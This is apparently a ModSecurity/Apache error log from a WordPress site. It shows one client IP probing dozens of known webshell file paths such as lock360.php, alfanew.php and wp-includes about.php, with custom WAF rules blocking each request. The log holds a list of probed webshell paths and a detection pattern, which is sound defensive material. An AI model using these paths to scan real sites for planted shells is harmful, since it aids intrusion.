[Mon Nov 24 21:03:33.484092 2025] [:error] [pid 48599:tid 48614] [client 4.233.64.129:51544] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSRXpZzvu6PDJiRKE3JKJAAAAYs"]
[Mon Nov 24 21:03:37.909468 2025] [:error] [pid 16549:tid 16557] [client 4.233.64.129:28725] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSRXqaeWW19A99PUw_dheAAAAUU"]
[Mon Nov 24 21:03:38.710819 2025] [:error] [pid 16549:tid 16552] [client 4.233.64.129:28711] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSRXqqeWW19A99PUw_dheQAAAUA"]
[Mon Nov 24 21:03:39.796605 2025] [:error] [pid 48599:tid 48618] [client 4.233.64.129:29490] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSRXq5zvu6PDJiRKE3JKJwAAAY8"]
[Mon Nov 24 21:03:43.154892 2025] [:error] [pid 9630:tid 9644] [client 4.233.64.129:28683] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSRXryrSgUgPGkizt2otUAAAAEw"]
[Mon Nov 24 21:03:45.137807 2025] [:error] [pid 48688:tid 48695] [client 4.233.64.129:28715] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/multi.php"] [unique_id "aSRXsRm2q1FkzLam7A3HsAAAAkM"]
[Mon Nov 24 21:03:46.211171 2025] [:error] [pid 16441:tid 16465] [client 4.233.64.129:51520] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/multi.php"] [unique_id "aSRXsoq_bc5MOa9HflmFewAAAJU"]
[Mon Nov 24 21:03:49.641369 2025] [:error] [pid 9630:tid 9643] [client 4.233.64.129:28921] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/multi.php"] [unique_id "aSRXtSrSgUgPGkizt2otUwAAAEs"]
[Mon Nov 24 21:03:50.759337 2025] [:error] [pid 49900:tid 49913] [client 4.233.64.129:29450] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/multi.php"] [unique_id "aSRXtjCyPLrvg06aorlBAAAAAAs"]
[Mon Nov 24 21:03:52.409439 2025] [:error] [pid 48688:tid 48693] [client 4.233.64.129:29472] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aSRXuBm2q1FkzLam7A3HtQAAAkE"]
[Mon Nov 24 21:03:54.280567 2025] [:error] [pid 48601:tid 48675] [client 4.233.64.129:51554] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aSRXuoMM4MaVTk74-AbenwAAAhI"]
[Mon Nov 24 21:03:57.865147 2025] [:error] [pid 48599:tid 48626] [client 4.233.64.129:51576] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aSRXvZzvu6PDJiRKE3JKLAAAAZc"]
[Mon Nov 24 21:03:58.823919 2025] [:error] [pid 16549:tid 16577] [client 4.233.64.129:51527] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aSRXvqeWW19A99PUw_dhgwAAAVg"]
[Mon Nov 24 21:04:00.467186 2025] [:error] [pid 16441:tid 16455] [client 4.233.64.129:51532] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aSRXwIq_bc5MOa9HflmFgwAAAIs"]
[Mon Nov 24 21:04:08.573356 2025] [:error] [pid 16441:tid 16449] [client 4.233.64.129:28697] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/403.php"] [unique_id "aSRXyIq_bc5MOa9HflmFlAAAAIU"]
[Mon Nov 24 21:04:11.948105 2025] [:error] [pid 49900:tid 49912] [client 4.233.64.129:51552] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/403.php"] [unique_id "aSRXyzCyPLrvg06aorlBDgAAAAo"]
[Mon Nov 24 21:04:13.269054 2025] [:error] [pid 48600:tid 48634] [client 4.233.64.129:28675] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/403.php"] [unique_id "aSRXzftOzSUAQvWVjBecOQAAAcQ"]
[Mon Nov 24 21:04:18.501232 2025] [:error] [pid 9630:tid 9637] [client 4.233.64.129:51569] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/403.php"] [unique_id "aSRX0irSgUgPGkizt2otYgAAAEU"]
[Mon Nov 24 21:04:19.806378 2025] [:error] [pid 48601:tid 48670] [client 4.233.64.129:29447] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSRX04MM4MaVTk74-AbepwAAAg0"]
[Mon Nov 24 21:04:22.130507 2025] [:error] [pid 16593:tid 16616] [client 4.233.64.129:28674] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSRX1hVGznHBJI2LKpRl3AAAApU"]
[Mon Nov 24 21:04:23.627207 2025] [:error] [pid 16593:tid 16599] [client 4.233.64.129:28708] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSRX1xVGznHBJI2LKpRl3QAAAoQ"]
[Mon Nov 24 21:04:24.374836 2025] [:error] [pid 16441:tid 16458] [client 4.233.64.129:28902] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSRX2Iq_bc5MOa9HflmFpQAAAI4"]
[Mon Nov 24 21:04:25.271308 2025] [:error] [pid 48601:tid 48657] [client 4.233.64.129:51543] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRX2YMM4MaVTk74-AbeqQAAAgA"]
[Mon Nov 24 21:04:26.923856 2025] [:error] [pid 48601:tid 48661] [client 4.233.64.129:28696] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRX2oMM4MaVTk74-AberAAAAgQ"]
[Mon Nov 24 21:04:27.677710 2025] [:error] [pid 49900:tid 49917] [client 4.233.64.129:51525] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRX2zCyPLrvg06aorlBDwAAAA8"]
[Mon Nov 24 21:04:28.862944 2025] [:error] [pid 16441:tid 16462] [client 4.233.64.129:28893] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRX3Iq_bc5MOa9HflmFuQAAAJI"]
[Mon Nov 24 21:04:30.969411 2025] [:error] [pid 48688:tid 48707] [client 4.233.64.129:29466] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aSRX3hm2q1FkzLam7A3H1QAAAk8"]
[Mon Nov 24 21:04:33.937827 2025] [:error] [pid 48688:tid 48697] [client 4.233.64.129:28722] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aSRX4Rm2q1FkzLam7A3H1gAAAkU"]
[Mon Nov 24 21:04:39.887418 2025] [:error] [pid 16593:tid 16611] [client 4.233.64.129:51572] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aSRX5xVGznHBJI2LKpRl6AAAApA"]
[Mon Nov 24 21:04:40.784961 2025] [:error] [pid 48601:tid 48675] [client 4.233.64.129:29459] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aSRX6IMM4MaVTk74-AbeugAAAhI"]
[Mon Nov 24 21:04:42.821900 2025] [:error] [pid 9630:tid 9655] [client 4.233.64.129:51536] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sim.php"] [unique_id "aSRX6irSgUgPGkizt2otcgAAAFc"]
[Mon Nov 24 21:04:45.230809 2025] [:error] [pid 48601:tid 48680] [client 4.233.64.129:51553] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sim.php"] [unique_id "aSRX7YMM4MaVTk74-AbexAAAAhc"]
[Mon Nov 24 21:04:46.590710 2025] [:error] [pid 48600:tid 48637] [client 4.233.64.129:29444] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sim.php"] [unique_id "aSRX7vtOzSUAQvWVjBecPgAAAcc"]
[Mon Nov 24 21:04:50.391758 2025] [:error] [pid 48600:tid 48640] [client 4.233.64.129:51526] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sim.php"] [unique_id "aSRX8vtOzSUAQvWVjBecPwAAAco"]
[Mon Nov 24 21:04:52.306015 2025] [:error] [pid 16441:tid 16461] [client 4.233.64.129:28685] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSRX9Iq_bc5MOa9HflmGHQAAAJE"]
[Mon Nov 24 21:04:56.599883 2025] [:error] [pid 16441:tid 16454] [client 4.233.64.129:28707] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSRX-Iq_bc5MOa9HflmGIAAAAIo"]
[Mon Nov 24 21:04:58.737388 2025] [:error] [pid 48601:tid 48657] [client 4.233.64.129:28730] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSRX-oMM4MaVTk74-AbeygAAAgA"]
[Mon Nov 24 21:04:59.419894 2025] [:error] [pid 49900:tid 49925] [client 4.233.64.129:28677] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSRX-zCyPLrvg06aorlBKwAAABc"]
[Mon Nov 24 21:05:00.416513 2025] [:error] [pid 48601:tid 48664] [client 4.233.64.129:51540] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aSRX_IMM4MaVTk74-AbeywAAAgc"]
[Mon Nov 24 21:05:01.706499 2025] [:error] [pid 16441:tid 16453] [client 4.233.64.129:51534] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aSRX_Yq_bc5MOa9HflmGIQAAAIk"]
[Mon Nov 24 21:05:04.116679 2025] [:error] [pid 16441:tid 16465] [client 4.233.64.129:28682] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aSRYAIq_bc5MOa9HflmGJQAAAJU"]
[Mon Nov 24 21:05:05.772273 2025] [:error] [pid 16549:tid 16566] [client 4.233.64.129:51541] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aSRYAaeWW19A99PUw_dhkgAAAU4"]
[Mon Nov 24 21:05:07.959949 2025] [:error] [pid 16441:tid 16446] [client 4.233.64.129:29487] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aSRYA4q_bc5MOa9HflmGKQAAAII"]
[Mon Nov 24 21:05:14.430917 2025] [:error] [pid 16441:tid 16451] [client 4.233.64.129:29461] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSRYCoq_bc5MOa9HflmGMwAAAIc"]
[Mon Nov 24 21:05:17.191898 2025] [:error] [pid 49900:tid 49913] [client 4.233.64.129:51574] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSRYDTCyPLrvg06aorlBNAAAAAs"]
[Mon Nov 24 21:05:20.857524 2025] [:error] [pid 16441:tid 16449] [client 4.233.64.129:51549] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSRYEIq_bc5MOa9HflmGOwAAAIU"]
[Mon Nov 24 21:05:40.853699 2025] [:error] [pid 16549:tid 16554] [client 4.233.64.129:29464] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRYJKeWW19A99PUw_dhnQAAAUI"]
[Mon Nov 24 21:05:42.496980 2025] [:error] [pid 9630:tid 9639] [client 4.233.64.129:29493] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRYJirSgUgPGkizt2otiQAAAEc"]
[Mon Nov 24 21:05:46.439607 2025] [:error] [pid 48601:tid 48675] [client 4.233.64.129:29495] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRYKoMM4MaVTk74-Abe8AAAAhI"]
[Mon Nov 24 21:05:50.202212 2025] [:error] [pid 48688:tid 48703] [client 4.233.64.129:51571] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aSRYLhm2q1FkzLam7A3IagAAAks"]
[Mon Nov 24 21:06:03.935858 2025] [:error] [pid 48600:tid 48650] [client 4.233.64.129:28678] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSRYO_tOzSUAQvWVjBecUAAAAdQ"]
[Mon Nov 24 21:06:05.331500 2025] [:error] [pid 48600:tid 48651] [client 4.233.64.129:51529] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/po.php"] [unique_id "aSRYPftOzSUAQvWVjBecUgAAAdU"]
[Mon Nov 24 21:06:06.941079 2025] [:error] [pid 16549:tid 16553] [client 4.233.64.129:28724] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/po.php"] [unique_id "aSRYPqeWW19A99PUw_dhpAAAAUE"]
[Mon Nov 24 21:06:09.729830 2025] [:error] [pid 16516:tid 16530] [client 4.233.64.129:28717] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/po.php"] [unique_id "aSRYQfqZbniwaNwL8XkG4gAAAQs"]
[Mon Nov 24 21:06:17.078592 2025] [:error] [pid 16441:tid 16463] [client 4.233.64.129:51577] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/po.php"] [unique_id "aSRYSYq_bc5MOa9HflmGiAAAAJM"]
